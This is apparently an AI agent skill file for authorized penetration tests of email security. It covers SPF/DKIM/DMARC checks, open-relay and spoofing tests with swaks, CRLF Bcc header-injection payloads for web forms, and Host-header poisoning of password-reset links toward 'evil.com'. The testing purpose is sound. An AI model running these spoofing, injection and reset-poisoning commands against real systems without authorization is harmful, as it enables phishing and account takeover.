performing-email-security-testing

$npx mdskill add xalgord/xalgorix/performing-email-security-testing

- During Phase 15 (Email Security Testing) of the methodology - When the target has email infrastructure (MX records, webmail, contact forms) - When testing for email spoofing or phishing susceptibility - When the application handles email input (forms, notifications, password resets) - When testing email-based authentication flows (magic links, OTP via email)

SKILL.md

.github/skills/performing-email-security-testingView on GitHub ↗
---
name: performing-email-security-testing
description: Offensive email security assessment covering SMTP open relay, SPF/DKIM/DMARC bypass, email header injection, and email-based attack vectors during authorized penetration tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- email-security
- smtp-testing
- spf-bypass
- dmarc-testing
- email-spoofing
- header-injection
version: '1.0'
author: xalgord
license: Apache-2.0
---

# Performing Email Security Testing

## When to Use

- During Phase 15 (Email Security Testing) of the methodology
- When the target has email infrastructure (MX records, webmail, contact forms)
- When testing for email spoofing or phishing susceptibility
- When the application handles email input (forms, notifications, password resets)
- When testing email-based authentication flows (magic links, OTP via email)

### How to CONFIRM a Hit (avoid false negatives)

- **Positive signal**: a spoofed message actually **passes/bypasses SPF, DKIM, and DMARC and is delivered** to the inbox; an open relay actually **delivers** a third-party message; or CRLF header injection actually **adds a recipient/header** in the received mail.
- Confirm by delivery to your controlled test inbox (agentmail) and by reading the **received `Authentication-Results` headers** (spf=pass/none, dmarc=pass/none) — a DNS record showing `~all`/`p=none` is suggestive but delivery is the proof.
- An SMTP `250 OK` alone is NOT a hit (it may be quarantined or silently dropped); one rejection is NOT a clean negative until policy and relay paths are exercised.
- Do NOT conclude "not vulnerable" until you have:
  - Checked SPF (`~all`/`?all`/`+all`/absent), DMARC (`p=none`/absent, weak `sp=`/`pct=`), and DKIM selectors — then **sent a real spoof** to confirm inbox delivery.
  - Tried **open-relay** with an external `MAIL FROM` and confirmed delivery, on ports 25/465/587.
  - Tried **header injection** via web forms (all CRLF encodings/fields) and confirmed an injected `Bcc`/`Cc` arrived.
  - Tested **Host-header poisoning** of reset links (verify the link in the delivered email uses the attacker host) and token predictability/reuse.

## Prerequisites

- **Authorization**: Written scope covering email infrastructure testing
- **agentmail**: ALWAYS use agentmail for test addresses (never use external emails)
- **dig/nslookup**: DNS record enumeration
- **swaks**: Swiss Army Knife for SMTP (`apt install swaks`)
- **nmap**: For SMTP service enumeration
- **curl**: For testing web-to-email functionality
- **openssl**: For TLS/STARTTLS testing

## Workflow

### Step 1: Email Infrastructure Enumeration

Map the target's email ecosystem before testing.

```bash
# === MX RECORD DISCOVERY ===
dig MX target.example.com +short
# Example output:
# 10 mx1.target.example.com.
# 20 mx2.target.example.com.

# === SPF RECORD CHECK ===
dig TXT target.example.com +short | grep "v=spf1"
# Analyze SPF strictness:
# ~all = soft fail (can be bypassed)
# -all = hard fail (strict, good)
# ?all = neutral (no enforcement)
# +all = allow all (MISCONFIGURATION)
# No SPF = NO protection

# === DMARC RECORD CHECK ===
dig TXT _dmarc.target.example.com +short
# Analyze DMARC policy:
# p=none → monitoring only, no enforcement (WEAK)
# p=quarantine → suspicious mail goes to spam
# p=reject → spoofed mail is blocked (STRONG)
# No DMARC record → NO protection

# === DKIM RECORD CHECK ===
# Common DKIM selectors to try
for SELECTOR in default google s1 s2 k1 selector1 selector2 dkim mail; do
  RESULT=$(dig TXT ${SELECTOR}._domainkey.target.example.com +short 2>/dev/null)
  if [ -n "$RESULT" ]; then
    echo "DKIM found: ${SELECTOR}._domainkey.target.example.com"
    echo "$RESULT"
  fi
done

# === SMTP SERVICE ENUMERATION ===
for MX in $(dig MX target.example.com +short | awk '{print $2}'); do
  echo "=== $MX ==="
  nmap -sV -p 25,465,587 "$MX" --script smtp-commands,smtp-enum-users
done

# === WEBMAIL DISCOVERY ===
for PREFIX in mail webmail email owa outlook autodiscover; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${PREFIX}.target.example.com" 2>/dev/null)
  if [ "$CODE" != "000" ] && [ "$CODE" != "404" ]; then
    echo "Found: https://${PREFIX}.target.example.com → HTTP $CODE"
  fi
done
```

### Step 2: SMTP Open Relay Testing

Test if the mail server allows unauthenticated relay.

```bash
# === IMPORTANT: Use agentmail for all test addresses ===
# Create test inbox first:
# agentmail action=create_inbox name=smtp_relay_test

# === MANUAL SMTP RELAY TEST ===
# Connect to target SMTP server
# WARNING: Only test with agentmail addresses as recipient
(
  sleep 1; echo "EHLO test.example.com"
  sleep 1; echo "MAIL FROM:<test@external-domain.com>"
  sleep 1; echo "RCPT TO:<YOUR_AGENTMAIL_ADDRESS>"
  sleep 1; echo "DATA"
  sleep 1; echo "Subject: Open Relay Test"
  sleep 1; echo ""
  sleep 1; echo "This is an open relay test."
  sleep 1; echo "."
  sleep 1; echo "QUIT"
) | openssl s_client -connect mx1.target.example.com:25 -starttls smtp 2>/dev/null

# === SWAKS RELAY TEST (easier) ===
swaks --to YOUR_AGENTMAIL_ADDRESS \
  --from spoofed@external-domain.com \
  --server mx1.target.example.com \
  --port 25 \
  --body "Open relay test - authorized pentest" \
  --header "Subject: Open Relay Test"

# Check for relay results:
# 250 OK → OPEN RELAY (Critical vulnerability)
# 550/554 Relaying denied → Properly configured
# 421 → Rate limited or blocked

# === VERIFY: Check if email was delivered ===
# agentmail action=wait_for_email inbox_id=INBOX_ID subject="Open Relay" timeout=120
```

### Step 3: Email Spoofing Assessment

Test if the domain is susceptible to email spoofing.

```bash
# === SPF BYPASS TESTING ===

# Test 1: No SPF record → complete spoofing possible
SPF=$(dig TXT target.example.com +short | grep "v=spf1")
if [ -z "$SPF" ]; then
  echo "CRITICAL: No SPF record — domain is fully spoofable"
fi

# Test 2: SPF with ~all (softfail) → spoofing may work
echo "$SPF" | grep "~all" && echo "WARN: SPF softfail — spoofing may bypass filters"

# Test 3: SPF with +all → allows any sender
echo "$SPF" | grep "+all" && echo "CRITICAL: SPF +all — explicitly allows spoofing"

# === DMARC BYPASS ASSESSMENT ===
DMARC=$(dig TXT _dmarc.target.example.com +short)

if [ -z "$DMARC" ]; then
  echo "CRITICAL: No DMARC record — no email authentication enforcement"
elif echo "$DMARC" | grep -q "p=none"; then
  echo "WARN: DMARC p=none — monitoring only, spoofed email will be delivered"
elif echo "$DMARC" | grep -q "p=quarantine"; then
  echo "INFO: DMARC p=quarantine — spoofed email goes to spam (partial protection)"
elif echo "$DMARC" | grep -q "p=reject"; then
  echo "GOOD: DMARC p=reject — spoofed email will be blocked"
fi

# Check DMARC subdomain policy
echo "$DMARC" | grep -oP 'sp=\w+' || echo "WARN: No subdomain policy — defaults to p= value"

# Check DMARC percentage
echo "$DMARC" | grep -oP 'pct=\d+' || echo "INFO: No pct tag — defaults to 100%"

# === PRACTICAL SPOOFING TEST (to your own agentmail) ===
swaks --to YOUR_AGENTMAIL_ADDRESS \
  --from ceo@target.example.com \
  --server mx1.target.example.com \
  --body "Spoofing test - authorized assessment" \
  --header "Subject: SPF/DMARC Spoofing Test" \
  --header "Reply-To: attacker@evil.com"

# Check delivery + analyze received headers for SPF/DMARC results
# agentmail action=wait_for_email inbox_id=INBOX_ID subject="Spoofing Test" timeout=120
```

### Step 4: Email Header Injection via Web Forms

Test web application email functionality for header injection.

```bash
# === CONTACT FORM HEADER INJECTION ===
# Target: forms that send emails (contact, feedback, newsletter signup)

# Test 1: CRLF injection in email field
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "test@example.com\r\nBcc: YOUR_AGENTMAIL_ADDRESS",
    "message": "Header injection test"
  }'

# Test 2: Newline injection in name/subject fields
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test\r\nBcc: YOUR_AGENTMAIL_ADDRESS",
    "email": "test@example.com",
    "message": "Header injection test"
  }'

# Test 3: CC/BCC injection via additional headers
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "test@example.com%0ACc:YOUR_AGENTMAIL_ADDRESS",
    "message": "URL-encoded header injection test"
  }'

# Test 4: Body injection (multi-part)
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "test@example.com",
    "message": "Normal message\r\n\r\nContent-Type: text/html\r\n\r\n<h1>Injected HTML</h1>"
  }'

# === VERIFY: Check if injected headers were processed ===
# agentmail action=wait_for_email inbox_id=INBOX_ID timeout=120
```

### Step 5: Password Reset Email Security

Test for vulnerabilities in password reset flows.

```bash
# === HOST HEADER POISONING IN PASSWORD RESET ===
# Attempt to redirect password reset links to attacker domain
curl -s -X POST "https://target.example.com/api/forgot-password" \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email": "victim@target.example.com"}'

# Check if reset link uses evil.com as base URL
# agentmail action=wait_for_email inbox_id=INBOX_ID subject="password" timeout=120

# === RESET TOKEN ANALYSIS ===
# Request multiple reset tokens and analyze patterns

for i in $(seq 1 5); do
  curl -s -X POST "https://target.example.com/api/forgot-password" \
    -H "Content-Type: application/json" \
    -d "{\"email\": \"$AGENTMAIL_ADDRESS\"}"
  sleep 2
done

# Collect tokens and check for:
# - Sequential/predictable tokens
# - Short tokens (< 32 chars)
# - Tokens that don't expire
# - Tokens reusable after password change

# === USER ENUMERATION VIA RESET ===
# Check if different responses for valid vs invalid emails
for EMAIL in "existing@target.example.com" "nonexistent@target.example.com" \
  "admin@target.example.com" "root@target.example.com"; do
  echo -n "$EMAIL → "
  curl -s -o /dev/null -w "%{http_code} %{size_download}" \
    -X POST "https://target.example.com/api/forgot-password" \
    -H "Content-Type: application/json" \
    -d "{\"email\": \"$EMAIL\"}"
  echo
done
# Different response codes/sizes → user enumeration vulnerability
```

### Step 6: SMTP STARTTLS and Encryption Testing

```bash
# === TLS CONFIGURATION CHECK ===
for PORT in 25 465 587; do
  echo "=== Port $PORT ==="
  echo "QUIT" | openssl s_client -connect mx1.target.example.com:$PORT \
    -starttls smtp 2>/dev/null | \
    grep -E "Protocol|Cipher|Server certificate"
done

# === CHECK FOR DOWNGRADE ATTACKS ===
# Test if server accepts non-TLS connections on port 25
(echo "EHLO test"; sleep 1; echo "QUIT") | \
  nc mx1.target.example.com 25 2>/dev/null | grep -i "STARTTLS"

# If STARTTLS is optional (not enforced) → susceptible to downgrade
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **SPF** | Sender Policy Framework — specifies which IPs can send email for a domain |
| **DKIM** | DomainKeys Identified Mail — cryptographic signature verifying email sender |
| **DMARC** | Domain-based Message Authentication — policy for handling SPF/DKIM failures |
| **Open Relay** | SMTP server that relays email from unauthenticated senders (Critical) |
| **Email Header Injection** | Injecting CRLF to add Bcc/Cc headers via web forms |
| **Host Header Poisoning** | Manipulating Host header to redirect password reset links |
| **STARTTLS Downgrade** | Forcing SMTP connection to plaintext by stripping TLS negotiation |

## Common Scenarios

| Scenario | Impact | Proof |
|----------|--------|-------|
| No SPF record | Anyone can spoof emails from domain | `dig TXT domain` shows no v=spf1 |
| DMARC p=none | Spoofed emails delivered to inbox | Email delivered to agentmail with spoofed From |
| Open SMTP relay | Spam/phishing relay through target server | Email delivered via relay to agentmail |
| Header injection in contact form | Attacker controls email recipients | BCC injection delivers to agentmail |
| Predictable reset tokens | Account takeover via token prediction | Sequential tokens with < 32 bit entropy |
| Host header password reset poisoning | Reset link points to attacker domain | Reset email contains evil.com URL |

## Output Format

```
## Email Security Finding

**Vulnerability**: Missing DMARC Policy — Domain Spoofable
**Severity**: Medium (CVSS 5.3)
**Location**: _dmarc.target.example.com (DNS)
**Type**: Email Authentication Misconfiguration

### Evidence
- SPF Record: v=spf1 include:_spf.google.com ~all (SOFTFAIL)
- DMARC Record: NONE (no _dmarc TXT record exists)
- DKIM: Selector 'google' found with valid key

### Exploitation Proof
Successfully sent spoofed email as ceo@target.example.com
to test inbox. Email was delivered without any authentication
warnings because no DMARC policy exists to enforce SPF/DKIM.

### Impact
- Attackers can send phishing emails appearing to come from target.example.com
- No mechanism to reject or quarantine spoofed messages
- Combined with social engineering, enables targeted spearphishing

### Recommendation
1. Implement DMARC: _dmarc.target.example.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@target.example.com"
2. Change SPF from ~all (softfail) to -all (hardfail)
3. Enable DMARC reporting to monitor authentication failures
4. Consider implementing BIMI for visual email authentication
```

More from xalgord/xalgorix